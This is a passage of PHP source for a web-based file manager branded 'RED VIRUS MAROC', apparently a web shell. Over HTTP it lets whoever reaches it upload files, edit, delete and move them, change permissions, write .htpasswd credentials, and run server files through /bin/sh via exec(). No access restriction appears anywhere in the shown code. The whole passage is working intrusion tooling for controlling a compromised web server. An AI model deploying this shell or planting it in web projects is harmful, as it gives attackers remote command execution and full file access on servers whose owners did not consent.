        $apache = true;
    }
    switch ($action) {
        case 'view':
            if (is_script($file)) {
                /* highlight_file is a mess! */
                ob_start();
                highlight_file($file);
                $src = ereg_replace('<font color="green">', '<span style="color: \\1">', ob_get_contents());
                $src = str_replace(array('</font>', "\r", "\n"), array('</span>', '', ''), $src);
                ob_end_clean();
                html_header();
                echo '<h2 style="text-align: left; margin-bottom: 0">' . html($file) . '</h2>

<hr />

<table border="5" height="10%" width="100%" bgcolor="green">
<tr>
<td>
<pre style="margin-top: 0"><code>';
                for ($i = 1; $i <= sizeof(file($file)); $i++) {
                    echo "{$i}\n";
                }
                echo '</code></pre>
</td>
<td>
<pre style="margin-top: 0">' . $src . '</pre>
</td>
</tr>
</table>

';
                html_footer();
            } else {
                header('Content-Type: ' . getmimetype($file));
                header('Content-Disposition: filename=' . basename($file));
                readfile($file);
            }
            break;
        case 'download':
            header('Pragma: public');
            header('Expires: 0');
            header('Cache-Control: must-revalidate, post-check=0, pre-check=0');
            header('Content-Type: ' . getmimetype($file));
            header('Content-Disposition: attachment; filename=' . basename($file) . ';');
            header('Content-Length: ' . filesize($file));
            readfile($file);
            break;
        case 'upload':
            $dest = relative2absolute($file['name'], $directory);
            if (@file_exists($dest)) {
                listing_page(error('already_exists', $dest));
            } elseif (@move_uploaded_file($file['tmp_name'], $dest)) {
                @chmod($dest, $filepermission);
                listing_page(notice('uploaded', $file['name']));
            } else {
                listing_page(error('not_uploaded', $file['name']));
            }
            break;
        case 'create_directory':
            if (@file_exists($file)) {
                listing_page(error('already_exists', $file));
            } else {
                $old = @umask(0777 & ~$dirpermission);
                if (@mkdir($file, $dirpermission)) {
                    listing_page(notice('created', $file));
                } else {
                    listing_page(error('not_created', $file));
                }
                @umask($old);
            }
            break;
        case 'create_file':
            if (@file_exists($file)) {
                listing_page(error('already_exists', $file));
            } else {
                $old = @umask(0777 & ~$filepermission);
                if (@touch($file)) {
                    edit($file);
                } else {
                    listing_page(error('not_created', $file));
                }
                @umask($old);
            }
            break;
        case 'execute':
            chdir(dirname($file));
            $output = array();
            $retval = 0;
            exec('echo "./' . basename($file) . '" | /bin/sh', $output, $retval);
            $error = false;
            if (sizeof($output) == 0) {
                $output = array('<' . $words['no_output'] . '>');
            }
            if ($error) {
                listing_page(error('not_executed', $file, implode("\n", $output)));
            } else {
                listing_page(notice('executed', $file, implode("\n", $output)));
            }
            break;
        case 'delete':
            if (!empty($_POST['no'])) {
                listing_page();
            } elseif (!empty($_POST['yes'])) {
                $failure = array();
                $success = array();
                foreach ($files as $file) {
                    if (del($file)) {
                        $success[] = $file;
                    } else {
                        $failure[] = $file;
                    }
                }
                $message = '';
                if (sizeof($failure) > 0) {
                    $message = error('not_deleted', implode("\n", $failure));
                }
                if (sizeof($success) > 0) {
                    $message .= notice('deleted', implode("\n", $success));
                }
                listing_page($message);
            } else {
                html_header();
                echo '<form action="' . $self . '" method="post">
<table border="5" height="10%" width="100%" class="dialog" bgcolor="green"><center>
<tr>
<td class="dialog" bgcolor="green">
';
                request_dump();
                echo "\t<b>" . word('really_delete') . '</b>
	<p>
';
                foreach ($files as $file) {
                    echo "\t" . html($file) . "<br />\n";
                }
                echo '	</p>
	<hr />
	<input type="submit" name="no" value="' . word('no') . '" id="red_button" bgcolor="green" />
	<input type="submit" name="yes" value="' . word('yes') . '" id="green_button" style="margin-left: 50px" />
</td>
</tr>
</table>
</form>

';
                html_footer();
            }
            break;
        case 'rename':
            if (!empty($_POST['destination'])) {
                $dest = relative2absolute($_POST['destination'], $directory);
                if (!@file_exists($dest) && @rename($file, $dest)) {
                    listing_page(notice('renamed', $file, $dest));
                } else {
                    listing_page(error('not_renamed', $file, $dest));
                }
            } else {
                $name = basename($file);
                html_header();
                echo '<form action="' . $self . '" method="post">

<table bgcolor="green" border="7" height="20%" width="100%" class="dialog"><center>
<tr>
<td class="dialog" bgcolor="green">
	<input type="hidden" name="action" bgcolor="green" value="rename" />
	<input type="hidden" name="file" value="' . html($file) . '" bgcolor="green" />
	<input type="hidden" name="dir" value="' . html($directory) . '" bgcolor="green" />
	<b>' . word('rename_file') . '</b>
	<p>' . html($file) . '</p>
	<b>' . substr($file, 0, strlen($file) - strlen($name)) . '</b>
	<input type="text" name="destination" size="' . textfieldsize($name) . '" value="' . html($name) . '" />
	<hr />
	<input type="submit" value="' . word('rename') . '" />
</td>
</tr>
</table>

<p><a href="' . $self . '?dir=' . urlencode($directory) . '">[ ' . word('back') . ' ]</a></p>

</form>

';
                html_footer();
            }
            break;
        case 'move':
            if (!empty($_POST['destination'])) {
                $dest = relative2absolute($_POST['destination'], $directory);
                $failure = array();
                $success = array();
                foreach ($files as $file) {
                    $filename = substr($file, strlen($directory));
                    $d = $dest . $filename;
                    if (!@file_exists($d) && @rename($file, $d)) {
                        $success[] = $file;
                    } else {
                        $failure[] = $file;
                    }
                }
                $message = '';
                if (sizeof($failure) > 0) {
                    $message = error('not_moved', implode("\n", $failure), $dest);
                }
                if (sizeof($success) > 0) {
                    $message .= notice('moved', implode("\n", $success), $dest);
                }
                listing_page($message);
            } else {
                html_header();
                echo '<form action="' . $self . '" method="post">

<table bgcolor="green" border="7" height="20%" width="100%" class="dialog"><center>
<tr>
<td class="dialog" bgcolor="green">
';
                request_dump();
                echo "\t<b>" . word('move_files') . '</b>
	<p>
';
                foreach ($files as $file) {
                    echo "\t" . html($file) . "<br />\n";
                }
                echo '	</p>
	<hr />
	' . word('destination') . ':
	<input type="text" name="destination" size="' . textfieldsize($directory) . '" value="' . html($directory) . '" />
	<input type="submit" value="' . word('move') . '" />
</td>
</tr>
</table>

<p><a href="' . $self . '?dir=' . urlencode($directory) . '">[ ' . word('back') . ' ]</a></p>

</form>

';
                html_footer();
            }
            break;
        case 'copy':
            if (!empty($_POST['destination'])) {
                $dest = relative2absolute($_POST['destination'], $directory);
                if (@is_dir($dest)) {
                    $failure = array();
                    $success = array();
                    foreach ($files as $file) {
                        $filename = substr($file, strlen($directory));
                        $d = addslash($dest) . $filename;
                        if (!@is_dir($file) && !@file_exists($d) && @copy($file, $d)) {
                            $success[] = $file;
                        } else {
                            $failure[] = $file;
                        }
                    }
                    $message = '';
                    if (sizeof($failure) > 0) {
                        $message = error('not_copied', implode("\n", $failure), $dest);
                    }
                    if (sizeof($success) > 0) {
                        $message .= notice('copied', implode("\n", $success), $dest);
                    }
                    listing_page($message);
                } else {
                    if (!@file_exists($dest) && @copy($file, $dest)) {
                        listing_page(notice('copied', $file, $dest));
                    } else {
                        listing_page(error('not_copied', $file, $dest));
                    }
                }
            } else {
                html_header();
                echo '<form action="' . $self . '" method="post">

<table bgcolor="green" border="5" height="20%" width="100%" class="dialog"><center>
<tr>
<td class="dialog" bgcolor="green">
';
                request_dump();
                echo "\n<b>" . word('copy_files') . '</b>
	<p>
';
                foreach ($files as $file) {
                    echo "\t" . html($file) . "<br />\n";
                }
                echo '	</p>
	<hr />
	' . word('destination') . ':
	<input type="text" name="destination" size="' . textfieldsize($directory) . '" value="' . html($directory) . '" />
	<input type="submit" value="' . word('copy') . '" />
</td>
</tr>
</table>

<p><a href="' . $self . '?dir=' . urlencode($directory) . '">[ ' . word('back') . ' ]</a></p>

</form>

';
                html_footer();
            }
            break;
        case 'create_symlink':
            if (!empty($_POST['destination'])) {
                $dest = relative2absolute($_POST['destination'], $directory);
                if (substr($dest, -1, 1) == $delim) {
                    $dest .= basename($file);
                }
                if (!empty($_POST['relative'])) {
                    $file = absolute2relative(addslash(dirname($dest)), $file);
                }
                if (!@file_exists($dest) && @symlink($file, $dest)) {
                    listing_page(notice('symlinked', $file, $dest));
                } else {
                    listing_page(error('not_symlinked', $file, $dest));
                }
            } else {
                html_header();
                echo '<form action="' . $self . '" method="post">

<table bgcolor="green"  border="5" height="10%" width="100%" class="dialog" id="symlink"><center>
<tr>
	<td style="vertical-align: top">' . word('destination') . ': </td>
	<td>
		<b>' . html($file) . '</b><br />
		<input type="checkbox" name="relative" value="yes" id="checkbox_relative" checked="checked" style="margin-top: 1ex" />
		<label for="checkbox_relative">' . word('relative') . '</label>
		<input type="hidden" name="action" value="create_symlink" />
		<input type="hidden" name="file" value="' . html($file) . '" />
		<input type="hidden" name="dir" value="' . html($directory) . '" />
	</td>
</tr>
<tr>
	<td>' . word('symlink') . ': </td>
	<td>
		<input type="text" name="destination" size="' . textfieldsize($directory) . '" value="' . html($directory) . '" />
		<input type="submit" value="' . word('create_symlink') . '" />
	</td>
</tr>
</table>

<p><a href="' . $self . '?dir=' . urlencode($directory) . '">[ ' . word('back') . ' ]</a></p>

</form>

';
                html_footer();
            }
            break;
        case 'edit':
            if (!empty($_POST['save'])) {
                $content = str_replace("\r\n", "\n", $_POST['content']);
                if (($f = @fopen($file, 'w')) && @fwrite($f, $content) !== false && @fclose($f)) {
                    listing_page(notice('saved', $file));
                } else {
                    listing_page(error('not_saved', $file));
                }
            } else {
                if (@is_readable($file) && @is_writable($file)) {
                    edit($file);
                } else {
                    listing_page(error('not_edited', $file));
                }
            }
            break;
        case 'permission':
            if (!empty($_POST['set'])) {
                $mode = 0;
                if (!empty($_POST['ur'])) {
                    $mode = 256;
                }
                if (!empty($_POST['uw'])) {
                    $mode |= 0200;
                }
                if (!empty($_POST['ux'])) {
                    $mode |= 0100;
                }
                if (!empty($_POST['gr'])) {
                    $mode |= 040;
                }
                if (!empty($_POST['gw'])) {
                    $mode |= 020;
                }
                if (!empty($_POST['gx'])) {
                    $mode |= 010;
                }
                if (!empty($_POST['or'])) {
                    $mode |= 04;
                }
                if (!empty($_POST['ow'])) {
                    $mode |= 02;
                }
                if (!empty($_POST['ox'])) {
                    $mode |= 01;
                }
                if (@chmod($file, $mode)) {
                    listing_page(notice('permission_set', $file, decoct($mode)));
                } else {
                    listing_page(error('permission_not_set', $file, decoct($mode)));
                }
            } else {
                html_header();
                $mode = fileperms($file);
                echo '<form action="' . $self . '" method="post">

<table bgcolor="green" border="5" height="10%" width="100%" class="dialog"><center>
<tr>
<td class="dialog">

	<p style="margin: 0">' . phrase('permission_for', $file) . '</p>

	<hr />

<table bgcolor="green" border="5" height="10%" width="100%" id="permission"><center>
	<tr>
		<td></td>
		<td style="border-right: 1px solid black">' . word('owner') . '</td>
		<td style="border-right: 1px solid black">' . word('group') . '</td>
		<td>' . word('other') . '</td>
	</tr>
	<tr>
		<td style="text-align: right">' . word('read') . ':</td>
		<td><input type="checkbox" name="ur" value="1"';
                if ($mode & 0400) {
                    echo " checked=\"checked\"";
                }
                echo " /></td>\n\t\t<td><input type=\"checkbox\" name=\"gr\" value=\"1\"";
                if ($mode & 040) {
                    echo " checked=\"checked\"";
                }
                echo " /></td>\n\t\t<td><input type=\"checkbox\" name=\"or\" value=\"1\"";
                if ($mode & 04) {
                    echo " checked=\"checked\"";
                }
                echo ' /></td>
	</tr>
	<tr>
		<td style="text-align: right">' . word('write') . ':</td>
		<td><input type="checkbox" name="uw" value="1"';
                if ($mode & 0200) {
                    echo " checked=\"checked\"";
                }
                echo " /></td>\n\t\t<td><input type=\"checkbox\" name=\"gw\" value=\"1\"";
                if ($mode & 020) {
                    echo " checked=\"checked\"";
                }
                echo " /></td>\n\t\t<td><input type=\"checkbox\" name=\"ow\" value=\"1\"";
                if ($mode & 02) {
                    echo " checked=\"checked\"";
                }
                echo ' /></td>
	</tr>
	<tr>
		<td style="text-align: right">' . word('execute') . ':</td>
		<td><input type="checkbox" name="ux" value="1"';
                if ($mode & 0100) {
                    echo " checked=\"checked\"";
                }
                echo " /></td>\n\t\t<td><input type=\"checkbox\" name=\"gx\" value=\"1\"";
                if ($mode & 010) {
                    echo " checked=\"checked\"";
                }
                echo " /></td>\n\t\t<td><input type=\"checkbox\" name=\"ox\" value=\"1\"";
                if ($mode & 01) {
                    echo " checked=\"checked\"";
                }
                echo ' /></td>
	</tr>
	</table>

	<hr />

	<input type="submit" name="set" value="' . word('set') . '" />

	<input type="hidden" name="action" value="permission" />
	<input type="hidden" name="file" value="' . html($file) . '" />
	<input type="hidden" name="dir" value="' . html($directory) . '" />

</td>
</tr>
</table>

<p><a href="' . $self . '?dir=' . urlencode($directory) . '">[ ' . word('back') . ' ]</a></p>

</form>

';
                html_footer();
            }
            break;
        default:
            listing_page();
    }
    /* ------------------------------------------------------------------------- */
    function getlist($directory)
    {
        global $delim, $win;
        if ($d = @opendir($directory)) {
            while (($filename = @readdir($d)) !== false) {
                $path = $directory . $filename;
                if ($stat = @lstat($path)) {
                    $file = array('filename' => $filename, 'path' => $path, 'is_file' => @is_file($path), 'is_dir' => @is_dir($path), 'is_link' => @is_link($path), 'is_readable' => @is_readable($path), 'is_writable' => @is_writable($path), 'size' => $stat['size'], 'permission' => $stat['mode'], 'owner' => $stat['uid'], 'group' => $stat['gid'], 'mtime' => @filemtime($path), 'atime' => @fileatime($path), 'ctime' => @filectime($path));
                    if ($file['is_dir']) {
                        $file['is_executable'] = @file_exists($path . $delim . '.');
                    } else {
                        if (!$win) {
                            $file['is_executable'] = @is_executable($path);
                        } else {
                            $file['is_executable'] = true;
                        }
                    }
                    if ($file['is_link']) {
                        $file['target'] = @readlink($path);
                    }
                    if (function_exists('posix_getpwuid')) {
                        $file['owner_name'] = @reset(posix_getpwuid($file['owner']));
                    }
                    if (function_exists('posix_getgrgid')) {
                        $file['group_name'] = @reset(posix_getgrgid($file['group']));
                    }
                    $files[] = $file;
                }
            }
            return $files;
        } else {
            return false;
        }
    }
    function sortlist($list, $key, $reverse)
    {
        $dirs = array();
        $files = array();
        for ($i = 0; $i < sizeof($list); $i++) {
            if ($list[$i]['is_dir']) {
                $dirs[] = $list[$i];
            } else {
                $files[] = $list[$i];
            }
        }
        quicksort($dirs, 0, sizeof($dirs) - 1, $key);
        if ($reverse) {
            $dirs = array_reverse($dirs);
        }
        quicksort($files, 0, sizeof($files) - 1, $key);
        if ($reverse) {
            $files = array_reverse($files);
        }
        return array_merge($dirs, $files);
    }
    function quicksort(&$array, $first, $last, $key)
    {
        if ($first < $last) {
            $cmp = $array[floor(($first + $last) / 2)][$key];
            $l = $first;
            $r = $last;
            while ($l <= $r) {
                while ($array[$l][$key] < $cmp) {
                    $l++;
                }
                while ($array[$r][$key] > $cmp) {
                    $r--;
                }
                if ($l <= $r) {
                    $tmp = $array[$l];
                    $array[$l] = $array[$r];
                    $array[$r] = $tmp;
                    $l++;
                    $r--;
                }
            }
            quicksort($array, $first, $r, $key);
            quicksort($array, $l, $last, $key);
        }
    }
    function permission_octal2string($mode)
    {
        if (($mode & 0xc000) === 0xc000) {
            $type = 's';
        } elseif (($mode & 0xa000) === 0xa000) {
            $type = 'l';
        } elseif (($mode & 0x8000) === 0x8000) {
            $type = '-';
        } elseif (($mode & 0x6000) === 0x6000) {
            $type = 'b';
        } elseif (($mode & 0x4000) === 0x4000) {
            $type = 'd';
        } elseif (($mode & 0x2000) === 0x2000) {
            $type = 'c';
        } elseif (($mode & 0x1000) === 0x1000) {
            $type = 'p';
        } else {
            $type = '?';
        }
        $owner = $mode & 0400 ? 'r' : '-';
        $owner .= $mode & 0200 ? 'w' : '-';
        if ($mode & 0x800) {
            $owner .= $mode & 0100 ? 's' : 'S';
        } else {
            $owner .= $mode & 0100 ? 'x' : '-';
        }
        $group = $mode & 040 ? 'r' : '-';
        $group .= $mode & 020 ? 'w' : '-';
        if ($mode & 0x400) {
            $group .= $mode & 010 ? 's' : 'S';
        } else {
            $group .= $mode & 010 ? 'x' : '-';
        }
        $other = $mode & 04 ? 'r' : '-';
        $other .= $mode & 02 ? 'w' : '-';
        if ($mode & 0x200) {
            $other .= $mode & 01 ? 't' : 'T';
        } else {
            $other .= $mode & 01 ? 'x' : '-';
        }
        return $type . $owner . $group . $other;
    }
    function is_script($filename)
    {
        return ereg('\\.php$|\\.php3$|\\.php4$|\\.php5$', $filename);
    }
    function getmimetype($filename)
    {
        static $mimes = array('\\.jpg$|\\.jpeg$' => 'image/jpeg', '\\.gif$' => 'image/gif', '\\.png$' => 'image/png', '\\.html$|\\.html$' => 'text/html', '\\.txt$|\\.asc$' => 'text/plain', '\\.xml$|\\.xsl$' => 'application/xml', '\\.pdf$' => 'application/pdf');
        foreach ($mimes as $regex => $mime) {
            if (eregi($regex, $filename)) {
                return $mime;
            }
        }
        return "text/plain";
    }
    function del($file)
    {
        global $delim;
        if (!file_exists($file)) {
            return false;
        }
        if (@is_dir($file) && !@is_link($file)) {
            $success = false;
            if (@rmdir($file)) {
                $success = true;
            } elseif ($dir = @opendir($file)) {
                $success = true;
                while (($f = readdir($dir)) !== false) {
                    if ($f != '.' && $f != '..' && !del($file . $delim . $f)) {
                        $success = false;
                    }
                }
                closedir($dir);
                if ($success) {
                    $success = @rmdir($file);
                }
            }
            return $success;
        }
        return @unlink($file);
    }
    function addslash($directory)
    {
        global $delim;
        if (substr($directory, -1, 1) != $delim) {
            return $directory . $delim;
        } else {
            return $directory;
        }
    }
    function relative2absolute($string, $directory)
    {
        if (path_is_relative($string)) {
            return simplify_path(addslash($directory) . $string);
        } else {
            return simplify_path($string);
        }
    }
    function path_is_relative($path)
    {
        global $win;
        if ($win) {
            return substr($path, 1, 1) != ':';
        } else {
            return substr($path, 0, 1) != '/';
        }
    }
    function absolute2relative($directory, $target)
    {
        global $delim;
        $path = '';
        while ($directory != $target) {
            if ($directory == substr($target, 0, strlen($directory))) {
                $path .= substr($target, strlen($directory));
                break;
            } else {
                $path .= '..' . $delim;
                $directory = substr($directory, 0, strrpos(substr($directory, 0, -1), $delim) + 1);
            }
        }
        if ($path == '') {
            $path = '.';
        }
        return $path;
    }
    function simplify_path($path)
    {
        global $delim;
        if (@file_exists($path) && function_exists('realpath') && @realpath($path) != '') {
            $path = realpath($path);
            if (@is_dir($path)) {
                return addslash($path);
            } else {
                return $path;
            }
        }
        $pattern = $delim . '.' . $delim;
        if (@is_dir($path)) {
            $path = addslash($path);
        }
        while (strpos($path, $pattern) !== false) {
            $path = str_replace($pattern, $delim, $path);
        }
        $e = addslashes($delim);
        $regex = $e . '((\\.[^\\.' . $e . '][^' . $e . ']*)|(\\.\\.[^' . $e . ']+)|([^\\.][^' . $e . ']*))' . $e . '\\.\\.' . $e;
        while (ereg($regex, $path)) {
            $path = ereg_replace($regex, $delim, $path);
        }
        return $path;
    }
    function human_filesize($filesize)
    {
        $suffices = 'kMGTPE';
        $n = 0;
        while ($filesize >= 1000) {
            $filesize /= 1024;
            $n++;
        }
        $filesize = round($filesize, 3 - strpos($filesize, '.'));
        if (strpos($filesize, '.') !== false) {
            while (in_array(substr($filesize, -1, 1), array('0', '.'))) {
                $filesize = substr($filesize, 0, strlen($filesize) - 1);
            }
        }
        $suffix = $n == 0 ? '' : substr($suffices, $n - 1, 1);
        return $filesize . " {$suffix}B";
    }
    function strip(&$str)
    {
        $str = stripslashes($str);
    }
    /* ------------------------------------------------------------------------- */
    function listing_page($message = null)
    {
        global $self, $directory, $sort, $reverse;
        html_header();
        $list = getlist($directory);
        if (array_key_exists('sort', $_GET)) {
            $sort = $_GET['sort'];
        } else {
            $sort = 'filename';
        }
        if (array_key_exists('reverse', $_GET) && $_GET['reverse'] == 'true') {
            $reverse = true;
        } else {
            $reverse = false;
        }
        echo '<h1 style="margin-bottom: 0">RED VIRUS MAROC</h1>

<form enctype="multipart/form-data" action="' . $self . '" method="post">

<table bgcolor="green" border="5" height="10%" width="100%" id="main"><center>
';
        directory_choice();
        if (!empty($message)) {
            spacer();
            echo $message;
        }
        if (@is_writable($directory)) {
            upload_box();
            create_box();
        } else {
            spacer();
        }
        if ($list) {
            $list = sortlist($list, $sort, $reverse);
            listing($list);
        } else {
            echo error('not_readable', $directory);
        }
        echo "</table>\n\n</form>\n\n";
        html_footer();
    }
    function listing($list)
    {
        global $directory, $homedir, $sort, $reverse, $win, $cols, $date_format, $self;
        echo '<tr class="listing">
	<th style="text-align: center; vertical-align: middle"><img src="' . $self . '?image=smiley" alt="smiley" /></th>
';
        column_title('filename', $sort, $reverse);
        column_title('size', $sort, $reverse);
        if (!$win) {
            column_title('permission', $sort, $reverse);
            column_title('owner', $sort, $reverse);
            column_title('group', $sort, $reverse);
        }
        echo '	<th class="functions">' . word('functions') . '</th>
</tr>
';
        for ($i = 0; $i < sizeof($list); $i++) {
            $file = $list[$i];
            $timestamps = 'mtime: ' . date($date_format, $file['mtime']) . ', ';
            $timestamps .= 'atime: ' . date($date_format, $file['atime']) . ', ';
            $timestamps .= 'ctime: ' . date($date_format, $file['ctime']);
            echo '<tr class="listing">
	<td class="checkbox"><input type="checkbox" name="checked' . $i . '" value="true" onfocus="activate(\'other\')" /></td>
	<td class="filename" title="' . html($timestamps) . '">';
            if ($file['is_link']) {
                echo '<img src="' . $self . '?image=link" alt="link" /> ';
                echo html($file['filename']) . ' &rarr; ';
                $real_file = relative2absolute($file['target'], $directory);
                if (@is_readable($real_file)) {
                    if (@is_dir($real_file)) {
                        echo '[ <a href="' . $self . '?dir=' . urlencode($real_file) . '">' . html($file['target']) . '</a> ]';
                    } else {
                        echo '<a href="' . $self . '?action=view&amp;file=' . urlencode($real_file) . '">' . html($file['target']) . '</a>';
                    }
                } else {
                    echo html($file['target']);
                }
            } elseif ($file['is_dir']) {
                echo '<img src="' . $self . '?image=folder" alt="folder" /> [ ';
                if ($win || $file['is_executable']) {
                    echo '<a href="' . $self . '?dir=' . urlencode($file['path']) . '">' . html($file['filename']) . '</a>';
                } else {
                    echo html($file['filename']);
                }
                echo " ]";
            } else {
                if (substr($file['filename'], 0, 1) == '.') {
                    echo '<img src="' . $self . '?image=hidden_file" alt="hidden file" /> ';
                } else {
                    echo '<img src="' . $self . '?image=file" alt="file" /> ';
                }
                if ($file['is_file'] && $file['is_readable']) {
                    echo '<a href="' . $self . '?action=view&amp;file=' . urlencode($file['path']) . '">' . html($file['filename']) . '</a>';
                } else {
                    echo html($file['filename']);
                }
            }
            if ($file['size'] >= 1000) {
                $human = ' title="' . human_filesize($file['size']) . '"';
            } else {
                $human = '';
            }
            echo "</td>\n";
            echo "\t<td class=\"size\"{$human}>{$file['size']} B</td>\n";
            if (!$win) {
                echo "\t<td class=\"permission\" title=\"" . decoct($file['permission']) . '">';
                $l = !$file['is_link'] && (!function_exists('posix_getuid') || $file['owner'] == posix_getuid());
                if ($l) {
                    echo '<a href="' . $self . '?action=permission&amp;file=' . urlencode($file['path']) . '&amp;dir=' . urlencode($directory) . '">';
                }
                echo html(permission_octal2string($file['permission']));
                if ($l) {
                    echo "</a>";
                }
                echo "</td>\n";
                if (array_key_exists('owner_name', $file)) {
                    echo "\t<td class=\"owner\" title=\"uid: {$file['owner']}\">{$file['owner_name']}</td>\n";
                } else {
                    echo "\t<td class=\"owner\">{$file['owner']}</td>\n";
                }
                if (array_key_exists('group_name', $file)) {
                    echo "\t<td class=\"group\" title=\"gid: {$file['group']}\">{$file['group_name']}</td>\n";
                } else {
                    echo "\t<td class=\"group\">{$file['group']}</td>\n";
                }
            }
            echo '	<td class="functions">
		<input type="hidden" name="file' . $i . '" value="' . html($file['path']) . '" />
';
            $actions = array();
            if (function_exists('symlink')) {
                $actions[] = 'create_symlink';
            }
            if (@is_writable(dirname($file['path']))) {
                $actions[] = 'delete';
                $actions[] = 'rename';
                $actions[] = 'move';
            }
            if ($file['is_file'] && $file['is_readable']) {
                $actions[] = 'copy';
                $actions[] = 'download';
                if ($file['is_writable']) {
                    $actions[] = 'edit';
                }
            }
            if (!$win && function_exists('exec') && $file['is_file'] && $file['is_executable'] && file_exists('/bin/sh')) {
                $actions[] = 'execute';
            }
            if (sizeof($actions) > 0) {
                echo '		<select class="small"" name="action' . $i . '" size="1" style="border:1px dotted #59E817;  background-color:#0C0C0C; 

font-family:Tahoma; font-size:8pt; color:#59E817">
		<option>&darr; &darr; &darr; &darr; &darr; &darr; &darr; ' . str_repeat('&nbsp;', 30) . '</option>
';
                foreach ($actions as $action) {
                    echo "\t\t<option value=\"{$action}\">" . word($action) . "</option>\n";
                }
                echo '		</select>
		<input class="small" type="submit" name="submit' . $i . '" value=" &gt; " onfocus="activate(\'other\')" />
';
            }
            echo "\t</td>\n</tr>\n";
        }
        echo '<tr class="listing_footer">
	<td style="text-align: right; vertical-align: top"><img src="' . $self . '?image=arrow" alt="&gt;" /></td>
	<td colspan="' . ($cols - 1) . '">
		<input type="hidden" name="num" value="' . sizeof($list) . '" />
		<input type="hidden" name="focus" value="" />
		<input type="hidden" name="olddir" value="' . html($directory) . '" />
';
        $actions = array();
        if (@is_writable(dirname($file['path']))) {
            $actions[] = 'delete';
            $actions[] = 'move';
        }
        $actions[] = 'copy';
        echo '		<select class="small" name="action_all" size="1">
		<option value="">' . str_repeat('&nbsp;', 30) . '</option>
';
        foreach ($actions as $action) {
            echo "\t\t<option value=\"{$action}\">" . word($action) . "</option>\n";
        }
        echo "\t\t</select>\n\t\t<input class=\"small\" type=\"submit\" name=\"submit_all\" value=\" &gt; \" onfocus=\"activate('other')\" />\n\t</td>\n</tr>\n";
    }
    function column_title($column, $sort, $reverse)
    {
        global $self, $directory;
        $d = 'dir=' . urlencode($directory) . '&amp;';
        $arr = '';
        if ($sort == $column) {
            if (!$reverse) {
                $r = '&amp;reverse=true';
                $arr = ' &and;';
            } else {
                $arr = ' &or;';
            }
        } else {
            $r = '';
        }
        echo "\t<th class=\"{$column}\"><a href=\"{$self}?{$d}sort={$column}{$r}\">" . word($column) . "</a>{$arr}</th>\n";
    }
    function directory_choice()
    {
        global $directory, $homedir, $cols, $self;
        echo '<tr>
	<td colspan="' . $cols . '" id="directory">
		<a href="' . $self . '?dir=' . urlencode($homedir) . '">' . word('directory') . '</a>:
		<input type="text" name="dir" size="' . textfieldsize($directory) . '" value="' . html($directory) . '" onfocus="activate(\'directory\')" />
		<input type="submit" name="changedir" value="' . word('change') . '" onfocus="activate(\'directory\')" />
	</td>
</tr>
';
    }
    function upload_box()
    {
        global $cols;
        echo '<tr>
	<td colspan="' . $cols . '" id="upload">
		' . word('file') . ':
		<input type="file" name="upload" onfocus="activate(\'other\')" />
		<input type="submit" name="submit_upload" value="' . word('upload') . '" onfocus="activate(\'other\')" />
	</td>
</tr>
';
    }
    function create_box()
    {
        global $cols;
        echo '<tr>
	<td colspan="' . $cols . '" id="create">
		<select name="create_type" size="1" onfocus="activate(\'create\')">
		<option value="file">' . word('file') . '</option>
		<option value="directory">' . word('directory') . '</option>
		</select>
		<input type="text" name="create_name" onfocus="activate(\'create\')" />
		<input type="submit" name="submit_create" value="' . word('create') . '" onfocus="activate(\'create\')" />
	</td>
</tr>
';
    }
    function edit($file)
    {
        global $self, $directory, $editcols, $editrows, $apache, $htpasswd, $htaccess;
        html_header();
        echo '<h2 style="margin-bottom: 3pt">' . html($file) . '</h2>

<form action="' . $self . '" method="post">

<table bgcolor="green" border="5" height="10%" width="100%" class="dialog"><center>
<tr>
<td class="dialog">

	<textarea  name="content" cols="100%' . $editcols . '" rows="30%' . $editrows . '" WRAP="off">';
        if (array_key_exists('content', $_POST)) {
            echo $_POST['content'];
        } else {
            $f = fopen($file, 'r');
            while (!feof($f)) {
                echo html(fread($f, 8192));
            }
            fclose($f);
        }
        if (!empty($_POST['user'])) {
            echo "\n" . $_POST['user'] . ':' . crypt($_POST['password']);
        }
        if (!empty($_POST['basic_auth'])) {
            if ($win) {
                $authfile = str_replace('\\', '/', $directory) . $htpasswd;
            } else {
                $authfile = $directory . $htpasswd;
            }
            echo "\nAuthType Basic\nAuthName &quot;Restricted Directory&quot;\n";
            echo 'AuthUserFile &quot;' . html($authfile) . "&quot;\n";
            echo "Require valid-user";
        }
        echo "</textarea>\n\n\t<hr />\n";
        if ($apache && basename($file) == $htpasswd) {
            echo '
	' . word('user') . ': <input type="text" name="user" />
	' . word('password') . ': <input type="password" name="password" />
	<input type="submit" value="' . word('add') . '" />

	<hr />
';
        }
        if ($apache && basename($file) == $htaccess) {
            echo '
	<input type="submit" name="basic_auth" value="' . word('add_basic_auth') . '" />

	<hr />
';
        }
        echo '
	<input type="hidden" name="action" value="edit" />
	<input type="hidden" name="file" value="' . html($file) . '" />
	<input type="hidden" name="dir" value="' . html($directory) . '" />
	<input type="reset" value="' . word('reset') . '" id="red_button" />
	<input type="submit" name="save" value="' . word('save') . '" id="green_button" style="margin-left: 50px" />

</td>
</tr>
</table>

<p><a href="' . $self . '?dir=' . urlencode($directory) . '">[ ' . word('back') . ' ]</a></p>

</form>

';
        html_footer();
    }
    function spacer()
    {
        global $cols;
        echo '<tr>
	<td colspan="' . $cols . '" style="height: 1em"></td>
</tr>
';
    }
    function textfieldsize($content)
    {
        $size = strlen($content) + 5;
        if ($size < 30) {
            $size = 30;
        }
        return $size;
    }
    function request_dump()
    {
        foreach ($_REQUEST as $key => $value) {
            echo "\t<input type=\"hidden\" name=\"" . html($key) . '" value="' . html($value) . "\" />\n";
        }
    }
    /* ------------------------------------------------------------------------- */
    function html($string)
    {
        global $site_charset;
        return htmlentities($string, ENT_COMPAT, $site_charset);
    }
    function word($word)
    {
        global $words, $word_charset;
        return htmlentities($words[$word], ENT_COMPAT, $word_charset);
    }
    function phrase($phrase, $arguments)
    {
        global $words;
        static $search;
        if (!is_array($search)) {
            for ($i = 1; $i <= 8; $i++) {
                $search[] = "%{$i}";
            }
        }
        for ($i = 0; $i < sizeof($arguments); $i++) {
            $arguments[$i] = nl2br(html($arguments[$i]));
        }
        $replace = array('{' => '<pre>', '}' => '</pre>', '[' => '<b>', ']' => '</b>');
        return str_replace($search, $arguments, str_replace(array_keys($replace), $replace, nl2br(html($words[$phrase]))));
    }
    function getwords($lang)
    {
        global $date_format, $word_charset;
        $word_charset = 'UTF-8';
        switch ($lang) {
            case 'de':
            case 'en':
            default:
                $date_format = 'n/j/y H:i:s';
